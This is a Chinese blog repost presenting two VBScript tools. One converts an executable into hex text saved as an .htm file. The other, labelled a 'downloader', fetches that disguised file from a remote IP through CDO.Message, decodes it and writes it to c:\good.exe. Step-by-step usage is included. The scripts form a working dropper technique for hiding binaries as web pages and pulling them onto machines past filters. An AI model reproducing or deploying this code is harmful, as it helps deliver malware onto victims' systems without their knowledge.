温馨提示×

温馨提示×

您好,登录后才能下订单哦!

密码登录×
登录注册×
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》

VBS如何实现下载

发布时间:2021-10-12 10:44:22 来源:亿速云 阅读:92 作者:小新 栏目:开发技术

小编给大家分享一下VBS如何实现下载,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!

于是研究了一会。写出个粗糙的DEMO。
exe2hex.vbs //xiaolu写的exe2vbs ,我修改成直接拖放,转成十六进制
================================================

代码如下:


'code by xiaolu
'change by NetPatch
on error resume next
set arg=wscript.arguments
if arg.count=0 then wscript.quit
do while 1
fname=arg(0)
err.number=0
Set Ado = CreateObject("adodb.stream")
With Ado
.Type = 1
.open
.loadfromfile fname
ss = .read
End With
if err.number<>0 then
if msgbox("文件打开错误!",1,"File2VBS")=2 then Wscript.quit
else
exit do
end if
loop
if fname="" then Wscript.quit
Set Fso=CreateObject("Scripting.FileSystemObject")
Set File=fso.OpenTextFile(arg(0)&".htm",2, True)
File.write Bin2Str(ss)
File.close
Set fso=nothing
Ado.close
set Abo=nothing
Function Bin2Str(Re)
For i = 1 To lenB(Re)
bt = AscB(MidB(Re, i, 1))
if bt < 16 Then Bin2Str=Bin2Str&"0"
Bin2Str=Bin2Str & Hex(bt)
Next
End Function


======================================
下载者 down.vbs
=============

复制代码 代码如下:


on error resume next
set arg=wscript.arguments
if arg.count=0 then wscript.quit
'code by NetPatch
'cscript down.vbs http://122.136.32.55/demo.htm c:\good.exe
Set Mail1 = CreateObject("CDO.Message")
Mail1.CreateMHTMLBody arg(0),31
ss= Mail1.HTMLBody
Set Mail1 = Nothing
Set RS=CreateObject("ADODB.Recordset")
L=Len(ss)/2
RS.Fields.Append "m",205,L
RS.Open:RS.AddNew
RS("m")=ss&ChrB(0)
RS.Update
ss=RS("m").GetChunk(L)
Set s=CreateObject("ADODB.Stream")
with s
.Mode = 3
.Type = 1
.Open()
.Write ss
.SaveToFile arg(1),2
end with


==================================
demo.htm内容时用exe2hex.vbs转EXE后获得的
使用方法:
1.exe2hex.vbs 把exe转成十六进制,放到网络上
2.down.vbs http://xxx/demo.htm c:\good.exe

以上是“VBS如何实现下载”这篇文章的所有内容,感谢各位的阅读!相信大家都有了一定的了解,希望分享的内容对大家有所帮助,如果还想学习更多知识,欢迎关注亿速云行业资讯频道!

向AI问一下细节

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

vbs
AI